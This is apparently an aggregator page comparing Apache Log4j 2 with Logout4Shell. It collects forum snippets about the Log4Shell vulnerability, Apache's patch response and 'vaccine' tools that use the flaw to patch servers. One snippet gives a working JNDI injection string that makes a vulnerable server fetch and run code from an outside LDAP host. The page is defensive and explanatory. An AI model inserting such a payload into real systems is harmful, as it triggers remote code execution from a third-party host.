Apache Log4j 2
Logout4Shell
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Apache Log4j 2 | Logout4Shell | |
---|---|---|
108 | 34 | |
3,263 | 1,727 | |
0.8% | - | |
9.9 | 2.6 | |
7 days ago | over 2 years ago | |
Java | Java | |
Apache License 2.0 | MIT License |
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
Apache Log4j 2
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Hackers exploited Windows 0-day for 6 months after Microsoft knew of it
I don't think that's a good example. While Apache devs are volunteers and Microsoft devs are employees, they were criticized for their slow response time and seeming lack of urgency until it was far too late.
https://github.com/apache/logging-log4j2/pull/608#issuecomme...
- Create an alternative async logger implementation using JCTools
- Log4j requesting feedback on which modules/features to drop
- The Unsung Heroes of Open Source: The Dedicated Maintainers Behind Lesser-Known Projects
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Studying Log4Shell
The official website. The vulnerability was introduced in 2.0-beta7 which was released in 2013.
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The Dedicated Maintainers Behind Lesser-Known Open Source Projects
However, there are many open source projects that are widely used but not well-known, including cURL, ImageMagick, MyCLI, Homebrew, Apache Log4j, and OpenSSL. This article will take a closer look at these unsung heroes of the open source world. I do not want to give them a business model or financial advice in this article. This largely depends on the author's personal experience and values. I just want to raise more awareness about these open source projects.
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Apache POI Setup Logging Error
What you need is log4j-core, what you downloaded is some kind of connector between log4j and JUL. Tbh I don't know what JUL is, but that's not important. You can get log4j-core on from the official website - https://logging.apache.org/log4j/2.x/ or in maven repo. In case you're not using maven, I highly, highly recommend you using it for managing your dependencies.
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Log4Shell Still Has Sting in the Tail
> When it was first revealed in early December 2021, the Log4Shell bug was described as one of the most severe security vulnerabilities ever.
> The Apache Software Foundation, which maintains the open-source tool, quickly released a patch...
Apache horribly mismanaged this and did not release a patch until it was already widely known and being exploited in the wild. They also messed up and had to release several subsequent patches to actually fix the vulnerability.
Remember: this vulnerability was disclosed to them in November.
https://github.com/apache/logging-log4j2/pull/608#issuecomme...
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The US Cybersecurity and Infrastructure Agency open-sourced a new tool named Scuba
Think back to the Log4J event, were you affected? (https://github.com/apache/logging-log4j2)
- In One Minute : log4j2
Logout4Shell
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Am I able to see which Dropbox accounts have viewed my links?
#1: RCE 0-day exploit found in log4j, a popular Java logging package | 276 comments #2: Godaddy hacked - including admin passwords for both WordPress sites hosted on the platform, as well as passwords for sFTPs, databases and SSL private keys. | 71 comments #3: Log4shell - using the vulnerability to patch the vulnerability - very clever | 64 comments
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Ein etwas anderer Jahresrückblick: 2021 in Google Suchtrends
Hier gibt es eine Impfung gegen Log4Shell. Kein Witz: https://github.com/Cybereason/Logout4Shell
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Log4j : Logpresso patch issue - remove jndi from jar
another option : https://github.com/Cybereason/Logout4Shell
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I heard you can just inject your server with hydroxychloroquine
Yup
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Patching Log4j
This is actually a thing
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Analysis of the 2nd Log4j CVE published earlier (CVE-2021-45046 / Log4Shell2)
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
- GitHub - Cybereason/Logout4Shell: Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
- US warns hundreds of millions of devices at risk from newly revealed software vulnerability
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Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:
a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it
b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system
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Log4j 0day being exploited (mega thread/ overview)
For those that are interested!
What are some alternatives?
Logback - The reliable, generic, fast and flexible logging framework for Java.
grype - A vulnerability scanner for container images and filesystems
reload4j - reload4j is a drop-in replacement for log4j 1.2.17
airsonic-advanced
tinylog - tinylog is a lightweight logging framework for Java, Kotlin, Scala, and Android
interactsh - An OOB interaction gathering server and client library
Logstash - Logstash - transport and process your logs, events, or other data
Logout4Shell - Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
SLF4J - Simple Logging Facade for Java
log4j-detector - A public open sourced tool. Log4J scanner that detects vulnerable Log4J versions (CVE-2021-44228, CVE-2021-45046, etc) on your file-system within any application. It is able to even find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too! TAG_OS_TOOL, OWNER_KELLY, DC_PUBLIC
kibana - Your window into the Elastic Stack
CVE-2021-44228-Log4Shell-Hashes - Hashes for vulnerable LOG4J versions